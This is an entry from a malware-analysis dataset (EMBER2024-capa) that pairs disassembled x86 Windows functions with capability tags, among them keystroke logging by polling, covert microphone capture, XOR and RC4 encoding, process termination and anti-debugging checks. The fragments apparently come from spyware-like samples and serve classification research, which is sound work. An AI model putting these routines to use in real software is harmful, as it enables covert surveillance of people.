joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432b74
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebp, eax
mov eax, dword [esp]
call fcn.004046c8
mov edi, eax
mov eax, dword [esp]
call fcn.004046c8
mov esi, eax
test esi, esi
jle 0x432baf
mov ebx, 1
mov eax, dword [esp]
movzx eax, byte [eax + ebx - 1]
xor edi, eax
inc ebx
dec esi
jne 0x432ba1
mov eax, dword [esp + 4]
mov edx, ebp
call fcn.00404440
mov eax, ebp
call fcn.004046c8
mov esi, eax
test esi, esi
jle 0x432be5
mov ebx, 1
mov eax, dword [esp + 4]
call fcn.00404920
mov edx, edi
xor dl, byte [ebp + ebx - 1]
not dl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x432bcc
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432cc4
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffc00
mov esi, edx
mov edi, eax
mov eax, esi
call fcn.004043ec
mov eax, esp
mov edx, 2
call fcn.00406efc
push 0x400
lea eax, [esp + 4]
push eax
mov eax, edi
call fcn.004048c8
mov ebp, eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
mov ebx, eax
cmp ebx, 0x400
jge 0x432d15
mov edx, esp
mov eax, esi
mov ecx, ebx
call fcn.004044dc
jmp 0x432d2e
mov edx, ebx
dec edx
mov eax, esi
call fcn.004049f8
push ebx
mov eax, dword [esi]
call fcn.004048c8
push eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
add esp, 0x400
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4334bc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebp, ecx
mov edi, edx
mov esi, eax
xor ebx, ebx
mov dword [esp + 8], 4
push esp
push 0x20119
push 0
mov eax, edi
call fcn.004048c8
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x43351f
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x14]
push eax
push 0
mov eax, ebp
call fcn.004048c8
push eax
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x43351f
cmp dword [esp + 0xc], 4
jne 0x43351f
mov ebx, dword [esp + 4]
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x433534
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, ebx
call fcn.004043ec
mov dword [ebp - 0xc], pe_nt_image_headers32
lea eax, [ebp - 0x110]
mov edx, dword [ebp - 0xc]
call fcn.00406efc
lea eax, [ebp - 8]
push eax
push 0x20119
push 0
mov eax, edi
call fcn.004048c8
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4335c2
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4335c2
cmp dword [ebp - 0x10], 1
jne 0x4335c2
mov eax, ebx
lea edx, [ebp - 0x110]
mov ecx, pe_nt_image_headers32
call fcn.0040465c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x433f70
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004048c8
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x433f89
test al, 0x10
je 0x433f8d
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x433f94
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404c1c
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x433fad
test al, 0x10
je 0x433fb1
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x434f5c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
mov byte [ebp - 1], cl
mov esi, edx
mov ebx, eax
cmp byte [0x462d04], 0
je 0x434f8c
mov edx, 0xc8
mov eax, 0x32
call fcn.0041bb38
push eax
call sub.kernel32.dll_Sleep
cmp bl, 0x90
jne 0x434fcf
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp al, 1
sbb ebx, ebx
inc ebx
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_GetKeyboardState
test bl, bl
je 0x434fba
and byte [ebp - 0x72], 0xfe
jmp 0x434fbe
or byte [ebp - 0x72], 1
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_SetKeyboardState
jmp 0x435055
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov byte [ebp - 2], al
test si, si
jbe 0x435055
mov eax, ebx
and eax, 0xff
bt dword [0x4604f4], eax
jae 0x435025
mov eax, dword [ebp + 8]
push eax
mov ecx, 1
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00434f10
pop ecx
cmp byte [ebp - 1], 0
je 0x435050
mov eax, dword [ebp + 8]
push eax
mov ecx, 3
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00434f10
pop ecx
jmp 0x435050
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00434f10
pop ecx
cmp byte [ebp - 1], 0
je 0x435050
mov eax, dword [ebp + 8]
push eax
mov ecx, 2
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.00434f10
pop ecx
dec si
jne 0x434fe5
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43505c
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, eax
cmp byte [0x462d04], 0
je 0x435080
mov edx, 0xc8
mov eax, 0x32
call fcn.0041bb38
push eax
call sub.kernel32.dll_Sleep
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov edx, ebx
and edx, 0xff
bt dword [0x4604f4], edx
jae 0x4350b2
mov edx, dword [ebp + 8]
push edx
xor ecx, ecx
mov edx, eax
mov eax, ebx
call fcn.00434f10
pop ecx
pop ebx
pop ebp
ret
mov edx, dword [ebp + 8]
push edx
mov ecx, 2
mov edx, eax
mov eax, ebx
call fcn.00434f10
pop ecx
pop ebx
pop ebp
ret
Function at 0x436620
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x436626
ret

Function at 0x438610
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x438661
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x438648
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x438638
jmp 0x438661
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x438649
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x440c30
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x440c5e
mov eax, ebx
call fcn.004416e4
cmp dword [ebx + 0x40], 0
je 0x440c57
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x440ccf
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x440cc1
cmp dword [ebx + 8], 0
je 0x440c80
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x440c92
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x440cc1
cmp dword [ebx + 8], 0
je 0x440c73
cmp eax, 3
je 0x440ca5
dec eax
jne 0x440c73
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x440c73
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x440c73
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x440ced
cmp dword [ebx + 0x14], 0xcc
je 0x440ced
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00440cf8
pop ebx
ret

Function at 0x452144
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
mov esi, 0x462db8
xor eax, eax
push ebp
push 0x452298
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x462db4], 0
mov dl, 1
mov eax, dword [0x4166d0]
call fcn.00403680
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x452273
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0043262c
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x4521b5
call fcn.00403e4c
jmp 0x45227a
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x45225d
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x14]
call fcn.00408648
mov dword [0x462dbc], eax
xor eax, eax
mov dword [esi], eax
xor ebx, ebx
mov eax, 0x451ea0
call fcn.00432ec8
mov edi, eax
push 0x1f4
call sub.kernel32.dll_Sleep
cmp byte [0x462db4], 0
je 0x452218
call fcn.00403e4c
jmp 0x45227a
cmp ebx, dword [esi]
jne 0x452246
push 0
push edi
call sub.kernel32.dll_TerminateThread
mov eax, dword [0x462dc8]
push eax
call sub.ntdll.dll_ZwClose
mov eax, dword [0x462dc4]
push eax
call sub.ntdll.dll_ZwClose
mov eax, dword [0x462dcc]
call fcn.00402a48
jmp 0x452251
mov ebx, dword [esi]
cmp byte [0x462dc0], 0
je 0x4521fe
inc dword [ebp - 0xc]
dec dword [ebp - 0x10]
jne 0x4521d1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45227a
mov eax, dword [ebp - 8]
call fcn.004036b0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45229f
lea eax, [ebp - 0x14]
call fcn.004043ec
lea eax, [ebp - 4]
call fcn.004043ec
ret
Function at 0x457058
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
mov eax, dword [ebp - 0xc]
call fcn.004048b8
mov eax, dword [ebp + 0xc]
call fcn.004048b8
xor eax, eax
push ebp
push 0x457192
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
lea eax, [ebp - 0x10]
call fcn.004345a4
cmp dword [ebp + 0xc], 0
je 0x4570bd
lea eax, [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
mov edx, 0x4571ac
call fcn.00404714
push 0
lea eax, [ebp - 4]
call fcn.00404920
mov ecx, eax
mov edx, dword [ebp + 0xc]
xor eax, eax
call fcn.004281c8
mov edi, eax
test edi, edi
je 0x45716f
cmp dword [ebp - 8], 0
jne 0x4570ef
mov eax, dword [ebp - 0xc]
call fcn.00432504
mov ebx, eax
jmp 0x457108
mov eax, dword [ebp - 0xc]
call fcn.004048c8
push eax
mov eax, dword [ebp - 8]
call fcn.004048c8
pop edx
call fcn.00433b28
mov ebx, eax
push 0xa
call sub.kernel32.dll_Sleep
inc esi
cmp esi, 0xbb8
ja 0x45716f
test ebx, ebx
je 0x4570dd
push 0x4571b8
mov ecx, 0x4571bc
xor edx, edx
mov eax, ebx
call fcn.00433ac0
mov esi, eax
test esi, esi
je 0x45716f
mov dl, 1
mov eax, dword [0x4166d0]
call fcn.00403680
mov ebx, eax
mov edx, ebx
mov eax, esi
call fcn.00456b4c
mov edx, dword [ebp + 8]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, ebx
call fcn.004036b0
push 0
push edi
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457199
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404410
lea eax, [ebp + 0xc]
call fcn.004043ec
ret

Function at 0x4577e0
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
add esp, 0xfffffff4
mov esi, eax
xor ebx, ebx
mov eax, dword [0x46175c]
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
fild qword [esp]
fmul dword [0x4578bc]
movzx eax, word [0x461766]
shr eax, 3
mov dword [esp + 8], eax
fild dword [esp + 8]
fmulp st(1)
call fcn.00402e94
mov dword [0x463060], eax
mov eax, dword [0x463060]
call fcn.00402a18
mov dword [0x46305c], eax
push 0x30000
push 0
push 0x4577c4
push 0x461758
push esi
push 0x463064
call sub.winmm.dll_waveInOpen
test eax, eax
jne 0x4578b1
mov eax, 0x20
call fcn.00402a18
mov dword [0x463058], eax
mov eax, dword [0x463058]
mov edx, dword [0x46305c]
mov dword [eax], edx
mov edx, dword [0x463060]
mov dword [eax + 4], edx
push 0x20
mov eax, dword [0x463058]
push eax
mov eax, dword [0x463064]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x4578b1
push 0x20
mov eax, dword [0x463058]
push eax
mov eax, dword [0x463064]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
jne 0x4578b1
mov eax, dword [0x463064]
push eax
call sub.winmm.dll_waveInStart
test eax, eax
jne 0x4578b1
mov bl, 1
mov eax, ebx
add esp, 0xc
pop esi
pop ebx
ret
Function at 0x457e1c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.004048b8
xor eax, eax
push ebp
push 0x457e7f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x457e94
call fcn.004046d0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.004046c8
push eax
lea eax, [ebp - 4]
call fcn.00404920
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457e86
lea eax, [ebp - 4]
call fcn.004043ec
ret

Function at 0x457e98
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x457ea1
mov eax, dword [ebp - 4]
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x457f5e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004043ec
mov dword [ebp - 0xc], 0x7fff
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push ebx
call sub.kernel32.dll_PeekNamedPipe
cmp dword [ebp - 8], 0
jbe 0x457f48
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x800b]
push eax
push ebx
call sub.kernel32.dll_ReadFile
lea eax, [ebp - 0x800b]
push eax
lea eax, [ebp - 0x800b]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 4]
lea edx, [ebp - 0x800b]
mov ecx, 0x7fff
call fcn.004044dc
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.004049f8
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404440
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457f65
lea eax, [ebp - 4]
call fcn.004043ec
ret
Function at 0x458cc8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x458cd0
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x458e3c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
call fcn.00433484
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
call fcn.00404c0c
mov edx, dword [ebp - 0x10]
mov ecx, 0x458e50
mov eax, ebx
call fcn.00431d34
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x458dec
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x458dec
inc eax
mov dword [ebp - 8], eax
xor esi, esi
cmp byte [0x4630c0], 0
jne 0x458dec
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
lea edx, [ebp - 0x1c]
call fcn.0040850c
push dword [ebp - 0x1c]
push 0x458e64
lea ecx, [ebp - 0x20]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x20]
push 0x458e64
lea ecx, [ebp - 0x2c]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x28]
call fcn.004331d0
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x24]
call fcn.00434bb0
push dword [ebp - 0x24]
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404788
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 4]
mov dx, 0x3f6
call fcn.00426c5c
lea eax, [ebp - 4]
call fcn.00426ba0
cmp ax, 0x3f7
jne 0x458dec
lea ecx, [ebp - 0x34]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x30]
call fcn.004331d0
mov eax, dword [ebp - 0x30]
call fcn.00404c1c
push eax
call sub.kernel32.dll_DeleteFileW
inc esi
dec dword [ebp - 8]
jne 0x458d36
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x458e43
lea eax, [ebp - 0x34]
call fcn.004043ec
lea eax, [ebp - 0x30]
call fcn.00404a8c
lea eax, [ebp - 0x2c]
call fcn.004043ec
lea eax, [ebp - 0x28]
call fcn.00404a8c
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.00404410
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404aa4
lea eax, [ebp - 4]
call fcn.004043ec
ret
Function at 0x403360
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x403393
call fcn.00403340
test eax, eax
je 0x403393
mov edx, 1
lea ecx, [ebp - 0x10]
call fcn.00403320
mov eax, dword [ebp - 8]
shr eax, 0x19
and eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
shr eax, 0x19
and eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x403400
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x403434
call fcn.00403340
cmp eax, 7
jb 0x403434
mov edx, 7
lea ecx, [ebp - 0x10]
call fcn.00403320
mov eax, dword [ebp - 0xc]
shr eax, 0x1d
and eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x403440
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x403473
call fcn.00403340
test eax, eax
je 0x403473
mov edx, 1
lea ecx, [ebp - 0x10]
call fcn.00403320
mov eax, dword [ebp - 8]
shr eax, 9
and eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
shr eax, 9
and eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x403570
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x887074]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x4035b9
push str.SetDefaultDllDirectories
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4035b9
push 0xc00
call eax
test eax, eax
jne 0x40364e
push 0x106
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, eax
test ecx, ecx
je 0x40364e
cmp ecx, 0x104
ja 0x40364e
cmp word [ebp + ecx*2 - 0x2d6], 0x5c
je 0x4035f2
mov eax, 0x5c
mov word [ebp + ecx*2 - 0x2d4], ax
inc ecx
mov al, byte [str.userenv]
push esi
mov esi, str.userenv
test al, al
je 0x40364d
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push edi
lea edi, [ebp - 0x2d4]
lea edi, [edi + ecx*2]
mov ecx, edi
inc esi
movzx eax, al
lea ecx, [ecx + 2]
mov word [ecx - 2], ax
mov al, byte [esi]
inc esi
test al, al
jne 0x403615
xor eax, eax
mov dword [ecx], 0x64002e
push 8
push eax
mov word [ecx + 8], ax
lea eax, [ebp - 0x2d4]
push eax
mov dword [ecx + 4], 0x6c006c
call ebx
mov al, byte [esi]
test al, al
jne 0x403612
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00446431
mov esp, ebp
pop ebp
ret
Function at 0x408b30
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x98
push 0
lea eax, [edi + 0x110]
push eax
call fcn.00447b80
mov eax, dword [edi + 0x30]
add esp, 0xc
add eax, dword [edi + 0x34]
mov ecx, dword [edi + 0x28]
mov dword [edi + 0x40], eax
mov dword [edi + 0x2c], 0
mov dword [edi + 0x14], 0
lea esi, [eax + ecx]
shr ecx, 3
mov eax, 0xaaaaaaab
mul ecx
mov ecx, 0xc
shr edx, 3
imul eax, edx, 0x54
mov edx, esi
sub edx, eax
mov eax, dword [edi + 0x18]
cmp eax, ecx
mov dword [edi + 0xc], eax
mov dword [edi + 0x44], edx
cmovb ecx, eax
mov dword [edi + 8], edx
not ecx
lea eax, [edx + 0x600]
mov dword [edi + 0x24], ecx
mov dword [edi + 0x20], ecx
lea ecx, [esi - 0xc]
mov dword [edi + 0x38], eax
xor eax, eax
mov dword [edi + 0x3c], ecx
mov dword [edi], ecx
mov dword [edi + 4], ecx
mov dword [ecx + 4], edx
add edx, 2
mov dword [ecx], 0x1010100
mov dword [ecx + 8], 0
mov byte [edx - 2], al
lea edx, [edx + 6]
xor ecx, ecx
mov byte [edx - 7], 1
inc eax
mov dword [edx - 6], ecx
cmp eax, 0x100
jb 0x408bc7
lea eax, [edi + 0x9fc]
push ebx
xor ebx, ebx
mov dword [ebp - 4], eax
nop word [eax + eax]
mov esi, eax
xor edi, edi
movzx eax, word [edi + 0x457570]
lea ecx, [ebx + 2]
xor edx, edx
div ecx
mov ecx, 0x4000
sub ecx, eax
xor eax, eax
movzx ecx, cx
nop
mov word [esi + eax*2], cx
add eax, 8
cmp eax, 0x40
jb 0x408c10
add edi, 2
add esi, 2
cmp edi, 0x10
jb 0x408bf4
mov eax, dword [ebp - 4]
inc ebx
sub eax, 0xffffff80
mov dword [ebp - 4], eax
cmp ebx, 0x80
jb 0x408bf0
mov edi, dword [ebp + 8]
mov edx, 0x50
pop ebx
lea esi, [edi + 0x3bc]
nop dword [eax + eax]
mov eax, esi
mov ecx, 0x10
nop word [eax + eax]
mov word [eax], dx
lea eax, [eax + 4]
mov word [eax - 2], 0x403
sub ecx, 1
jne 0x408c60
add edx, 0x28
add esi, 0x40
cmp edx, 0x438
jb 0x408c50
mov dword [edi + 0x3b8], 0x40070000
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x409c30
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edx, dword [esi + 8]
and edx, 0x3f
mov byte [edx + esi + 0x40], 0x80
inc edx
cmp edx, 0x38
jbe 0x409c7b
cmp edx, 0x40
je 0x409c67
mov eax, 0x40
lea ecx, [esi + 0x40]
sub eax, edx
add ecx, edx
push eax
push 0
push ecx
call fcn.00447b80
add esp, 0xc
mov eax, dword [esi]
lea edi, [esi + 0x40]
lea ebx, [esi + 0x20]
mov edx, edi
push 1
mov ecx, ebx
call eax
xor edx, edx
jmp 0x409c81
lea edi, [esi + 0x40]
lea ebx, [esi + 0x20]
mov eax, 0x38
sub eax, edx
push eax
lea eax, [esi + 0x40]
add eax, edx
push 0
push eax
call fcn.00447b80
mov ecx, dword [esi + 8]
add esp, 0xc
mov eax, dword [esi + 0xc]
mov edx, edi
shld eax, ecx, 3
shl ecx, 3
bswap eax
bswap ecx
mov dword [esi + 0x78], eax
mov eax, dword [esi]
mov dword [esi + 0x7c], ecx
mov ecx, ebx
push 1
call eax
mov edi, dword [ebp + 0xc]
mov edx, ebx
mov ebx, 4
mov ecx, dword [edx + 4]
lea edi, [edi + 8]
mov eax, dword [edx]
lea edx, [edx + 8]
bswap eax
mov dword [edi - 8], eax
bswap ecx
mov dword [edi - 4], ecx
sub ebx, 1
jne 0x409cc4
pop edi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x20], 0x6a09e667
mov dword [esi + 0x24], 0xbb67ae85
mov dword [esi + 0x28], 0x3c6ef372
mov dword [esi + 0x2c], 0xa54ff53a
mov dword [esi + 0x30], 0x510e527f
mov dword [esi + 0x34], 0x9b05688c
mov dword [esi + 0x38], 0x1f83d9ab
mov dword [esi + 0x3c], 0x5be0cd19
pop esi
pop ebx
pop ebp
ret 8

Function at 0x409d30
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [0x88704c]
mov dword [ecx], eax
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x20], 0x6a09e667
mov dword [ecx + 0x24], 0xbb67ae85
mov dword [ecx + 0x28], 0x3c6ef372
mov dword [ecx + 0x2c], 0xa54ff53a
mov dword [ecx + 0x30], 0x510e527f
mov dword [ecx + 0x34], 0x9b05688c
mov dword [ecx + 0x38], 0x1f83d9ab
mov dword [ecx + 0x3c], 0x5be0cd19
pop ebp
ret 4

Function at 0x40a4e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push 0
call fcn.0044a4d7
mov ecx, dword [ebp + 8]
add esp, 0x18
mov dword [ecx], eax
test eax, eax
je 0x40a50d
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 1
cmovne ecx, eax
mov eax, ecx
mov esp, ebp
pop ebp
ret 0xc